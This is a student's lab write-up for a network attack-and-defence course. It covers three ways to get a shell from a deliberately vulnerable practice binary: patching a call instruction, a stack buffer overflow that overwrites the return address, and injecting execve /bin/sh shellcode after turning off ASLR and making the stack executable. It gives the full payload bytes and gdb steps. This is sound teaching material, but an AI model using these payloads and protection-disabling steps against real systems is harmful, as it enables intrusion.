20232831 袁思承 2023-2024-2 《网络攻防实践》第9次作业



20232831 袁思承 2023-2024-2 《网络攻防实践》第9次作业

1.实验内容

本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

三个实践内容如下:

1、手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
2、利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
3、注入一个自己制作的shellcode并运行这段shellcode。

实验要求

1、掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
2、掌握反汇编与十六进制编程器
3、能正确修改机器指令改变程序执行流程
4、能正确构造payload进行bof攻击

2.实验过程

1、手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数

首先,修改kali主机的名称为自己的学号+名字缩写20232831ysc
在这里插入图片描述
通过以下命令修改pwn1文件,使得包含自己学号+名字缩写

mv pwn1 pwn20232831ysc

在这里插入图片描述
首先,尝试运行这个pwn,发现无法实现
在这里插入图片描述
因此,使用以下代码对该pwn文件进行反编译

objdump -d pwn20232831ysc | more

在这里插入图片描述
按住回车键,可以往下翻页并继续查看反编译内容,并找到了main这个主函数
在这里插入图片描述
观察main函数发现,它调用,call 了foo函数,而读取foo函数的内容发现,它只会简单回显任何用户输入的字符串。而实验要求,修改可执行文件,改变程序执行流程,直接跳转到getShell函数。这里就需要修改主函数,将主函数main的call foo删除,并修改为call getShell。因此,需要将call 8048491中的地址8048491修改为getShell的地址。

分析完毕后,那就要考虑如何修改了。这里涉及到汇编代码的知识点。
我们来具体分析下面这个call
在这里插入图片描述

80484b5   e8 d7 ff ff ff   call   8048491 <foo>
80484ba   *************************************

首先,80484b5是当前指针所指地址,e8是call指令的操作码,姑且理解它为一个近调用(即在同一代码段中的调用),而d7 ff ff ff 就是偏移量,代表目的地址到当前指令指针的下一地址的相对偏移量(注意,也就是下一条指令的地址,其实也就是当前指令地址+4),为什么不是反过来,是下一地址到目的地址的相对偏移量呢?其实应该都可以,但是因为这里偏移量很明显是负数,而call的地址又比当前地址大,所以很明显,是目的地址减去下一地址,得出的偏移量。

综上,则计算公式则为
目的地址-(当前地址+4,即下一指令地址)=偏移量

通俗的讲,也就是8048491-80484ba=偏移量=-41。计算结果为-41,因此补码表示为0xffffffd7

为什么是0xffffffd7而上面的反编译代码中是0xd7ffffff,很明显,要遵从计算机的数据存储方式,即高位放低地址(右边),低位放高地址(左边),在计算机中存储需要颠倒为:0xd7ffffff

那么就容易了,要想调用getShell,根据公式计算即可:
0804847d(getShell函数的首地址)-80484ba=-61=0xffffff3c
颠倒为计算机存储内容,则为0xc3ffffff

计算完毕,下面就是修改过程:

使用以下命令打开此pwn文件,发现是乱码:

gedit pwn20232831ysc

在这里插入图片描述
因此需要修改文件的存储格式为16进制,再使用gedit命令进行查看

xxd pwn20232831ysc > pwn20232831ysc.hex
gedit pwn20232831ysc.hex

在这里插入图片描述
emm忘记还得修改,因此使用gedit方式,即使修改也是修改.hex文件,因此该方法放弃,需要使用vim进行修改,且查看16进制的方式为以下代码:

vim pwn20232831ysc
:%!xxd

在这里插入图片描述
修改0xd7ffffff为0xc3ffffff,从而改为Call getShell
在这里插入图片描述
改为:
在这里插入图片描述
保存退出,重新改为乱码模式,即撤销十六进制格式,并再次反编译查看,确保修改正确:

:%! xxd -r

查看反编译代码:

objdump -d pwn20232831ysc | more

在这里插入图片描述
修改成功!
因此,进行调用,却发现没有权限:
在这里插入图片描述
检查发现,将以下框框勾选上,即可运行修改后的pwn文件
在这里插入图片描述
成功获取shell,即成功调用了getShell函数!实验结束!
在这里插入图片描述

2、利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数

重新上传一个pwn文件,命名为2pwn20232831ysc

mv pwn1 2pwn20232831ysc

让我们重新查看以下foo的反汇编代码,这在上述实验中已经看过:
在这里插入图片描述
阅读反汇编代码可知,foo只调用了gets和puts两个函数,即foo函数只读取shell当中进行的输入,并进行输出。由缓冲区溢出的原理可知,当输入的字符串超出了foo函数的缓冲区容量,就会发生缓冲区溢出的情况,当然,还需要确保最后4个字节为getShell的地址,0x0804847d,这是为了将foo函数的栈中的return地址,修改为getShell的地址,就能达到实现获取shell的效果,实现缓冲区溢出。其中,0x0804847d在指令中应该用\x7d\x84\x04\x08来实现输入。

由图中信息可知,foo函数总共有0x38个字节作为存储范围,其中,有0x1c,即总共28字节供应gets使用。因此,gets得到的字符串应该是28+4=32字节,这样就会发生缓冲区溢出,即gets的内容将覆盖寄存器,且返回地址变为getshell函数的地址。

得知了原理,那就开始实验:
首先,使用以下命令将一段较长的字符串输入并定向和存储到一个名为intput20232831的文件中。

perl -e 'print "yyyyyysssssscccccchhhhjjjjyyyy20\x7d\x84\x04\x08"' > input20232831

使用以下命令进行input20232831文件内容的查看,确保接下来喂给pwn的输入没有问题

xxd input20232831

在这里插入图片描述

使用以下命令,将input20232831的内容作为pwn的输入,从而达到缓冲区溢出的效果,进而获取shell。

(cat input20232831;cat) | ./2pwn20232831ysc

在这里插入图片描述

这里出现了与第一个实验同样的问题,因此需要修改权限,点上勾勾,即可成功运行。
在这里插入图片描述
权限修改后,再次执行,成功获取权限。
在这里插入图片描述
缓冲区溢出成功,实验结束!

3、注入一个自己制作的shellcode并运行这段shellcode。

第三个实验,是自己制作shellcode进行实验。
我们来总结一下。

1、第一个实验,是直接修改pwn,让其调用getshell,从而达到获取shell
2、第二个实验,是利用缓冲区溢出的原理,让foo函数的缓冲区爆炸,且最后4个字节是getshell函数的地址,目的就是将EIP覆盖为getshell地址,从而达到直接获取shell的效果
3、第三个实验,也就是本实验,需要自己编写一段代码进行shellcode,从而获取shell。

然而,自己实现shellcode太困难,因此根据视频进行这部分实验的实现。

这部分的实验,需要先安装execstack。

sudo apt install execstack

在这里插入图片描述
提示无法找到这个execstack工具包,于是需要更新。

 sudo apt-get update
 sudo apt-get upgrade

重新执行命令进行安装execstack,仍然不成功?
在这里插入图片描述
那换个镜像源试试?注销默认源,使用中科大提供的源。
在这里插入图片描述
仍然不行,于是放弃,进入kali官网,直接下载该工具包,再进行解压,实现手动安装工具包。
不过很想吐槽,原因不明的问题总是折磨着这门课的童鞋们。
在这里插入图片描述
官网链接为

http://ftp.de.debian.org/debian/pool/main/p/prelink/execstack_0.0.20131005-1+b10_amd64.deb

在这里插入图片描述

下载完成后,使用以下命令手动解压

sudo dpkg -i execstack_0.0.20131005-1+b10_amd64.deb

在这里插入图片描述
终于搞定了…继续进行实验。
输入以下命令,利用execstack工具包将pwn文件的堆栈设置为可执行状态。

sudo execstack -s ./2pwn20232831ysc

emmm,修改hostname后,总是提示找不到Name,应该需要修改配置文件,但是嫌麻烦,于是只好进入root执行命令。因为怕没有成功设置可执行状态,于是输入以下命令确定设置成功。

sudo execstack -q ./2pwn20232831ysc

试错过程如下:
在这里插入图片描述

输入以下命令,关闭地址随机化。因为进入了root,所以可以不加sudo,否则需要加上

echo "0" > /proc/sys/kernel/randomize_va_space

再输入以下命令,查看是否关闭了地址随机化,如果输出0则是成功关闭,为1则仍然是打开状态:

more /proc/sys/kernel/randomize_va_space

在这里插入图片描述

查询资料并观看视频可以得知,我们可以使用以下方法进行shellcode。

retaddr+nop+shellcode

这个方法仍然是分析foo函数,这个函数已经在1、2实验中分析过,我们可以知道,它最后有一个ret,即return了一个address。
在这里插入图片描述
为了获取foo函数的返回地址retaddr,可以先构造一个输入,输入内容可以从教学视频推荐的网站中进行选择,这两个网站提供了许多经典的shellcode,不需要我们自己去制作,网站如下:

http://shell-storm.org/shellcode/index.html
https://www.exploit-db.com/

因此,使用以下命令进行构造shellcode的输入(且x1x2x3x4是用来占位的,后续将替换为注入shellcode的地址,也就是foo函数中returnaddress的位置,这个地址需要我们接下来去gdb分析寻找),并将其放入名为input_shellcode的文件中:

perl -e 'print "A" x 32;print "\x1\x2\x3\x4\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode

输入以下命令将input_shellcode的输入内容作为2pwn20232831ysc的输入:

(cat input_shellcode; cat) | ./2pwn20232831ysc

在这里插入图片描述

再打开一个新终端,输入以下命令,查看2pwn20232831ysc文件的进程以及进程号。为何打开新终端?因为此时2pwn20232831ysc文件仍然在运行,所以需要查看进程号:

ps -ef | grep 2pwn20232831ysc

在这里插入图片描述

可以看到,进程号分别为6225和6660,但是6225才是pwn文件的进程号。
此后,再在这个新终端中使用gdb进行调试,来获取foo函数中returnaddress的位置。

gdb 2pwn20232831ysc

在这里插入图片描述

使用以下命令,输入刚刚查找的进程号

attach 6225

使用以下命令,反编译foo函数并进行分析

disassemble foo

在这里插入图片描述

可以看到,ret的地址为0x080484ae,因此,在这里设置断点,继续分析

break *0x080484ae

输入以下命令,首先,c表示continue继续运行,info r esp表示查看栈顶指针所在位置,查看完后可知,栈顶指针所在的位置为0xffffd38c,而x/16x 0xffffd38c表示查看该地址处的存放内容,可以看到,此处出现了我们之前注入的输入0x04030201,这说明找的就是这个地址。

注意,这里在新终端输入c,继续运行后,在老终端记得按一下enter键,否则新终端的continue将一直进行。

c
info r esp
x/16x 0xffffd38c

因此,栈顶指针地址再加4字节,就是shellcode应该处于的地址,即0xffffd38c+4=0xffffd390
在这里插入图片描述
于是,这就是最终的payload。输入以下命令,从而进行shellcode的注入,最终获取shell。其中,曾经用来占位的0x04030201换成上述我们计算出来的位置0xffffd390,且用机器存储的方式(低地址放高位数据,高地址放地位数据,没记错的话是小端存储),颠倒一下,重新进行输入。

perl -e 'print "A" x 32;print "\x90\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00\x0a"' > input_shellcode
(cat input_shellcode; cat) | ./2pwn20232831ysc

可以看到,成功获取了shell,shellcode实现成功!
在这里插入图片描述

3.学习中遇到的问题及解决

  • 问题1:运行pwn,可能会出现权限不够的原因
  • 问题1解决方案:右键属性pwn文件,勾选上Allow this file to run as a program,即让pwn能够作为程序进行运行,否则kali将默认无法运行pwn。
  • 问题2:无法安装execstack包
  • 问题2解决方案:这个问题挺离谱,更新,升级可用软件包,居然还是无法安装execstack,以为是镜像源的原因,换了镜像源也没用,最后只能手动安装手动解压来解决这个问题。
    • 问题3:gdb分析不熟悉,按下continue后一直卡住
  • 问题3解决方案:需要在运行pwn的老终端中按下回车,应该是表示继续运行pwn,从而让gdb往下分析,否则将一直卡住。

4.学习感悟、思考等

通过本次实验,我了解了什么是缓冲区溢出,实现了三种能获取shell的方式。此外,我掌握了反汇编与十六进制编程器,且能够自己反编译并修改可执行文件,从而学习到了修改他人程序的能力。最后,我更深入了解了gdb这一分析手段,学习了如何正确构造payload进行bof攻击。最重要的就是,这节课遇到的问题真的比较多,解决这些问题大大提高了我的耐心和纠错水平。所以这次课程受益匪浅,但是不懂的地方仍然有很多,需要进一步加强学习。

参考资料

  • 18
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值